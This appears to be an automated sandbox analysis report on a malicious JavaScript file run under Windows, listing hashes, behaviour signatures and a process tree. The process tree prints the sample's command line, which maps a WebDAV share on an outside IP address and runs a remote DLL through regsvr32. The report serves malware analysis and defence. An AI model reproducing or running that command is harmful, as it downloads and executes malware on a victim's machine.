Analysis

  • max time kernel
    94s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 09:28

General

  • Target

    2899613111076128558.js

  • Size

    5KB

  • MD5

    08d4e94b463400ccce5bcc6069679125

  • SHA1

    b736d2f8f880e3222bd33c16f6c950f15770c049

  • SHA256

    8d2c0ee16400609b334fb145f3e11b622e44b4b522b1da18ee5e07e21884cd63

  • SHA512

    837c828ff3b982222181d1c5c4be47858664943053921e224033c19514188d3fb96e2556bc3331827ba501e7eb26dda198b63f0ba5b9a7d94c2dc7c1a3364956

  • SSDEEP

    48:kvAgIuqz41thcNveFYD4Fz6pqQyDpD4ecDenTFeR3260ey5QyDpDf0Qz6etqYsT6:SAruW2WeFaz2Ak1z2wfSBJE

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2899613111076128558.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4368
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\726686298279.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4792

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads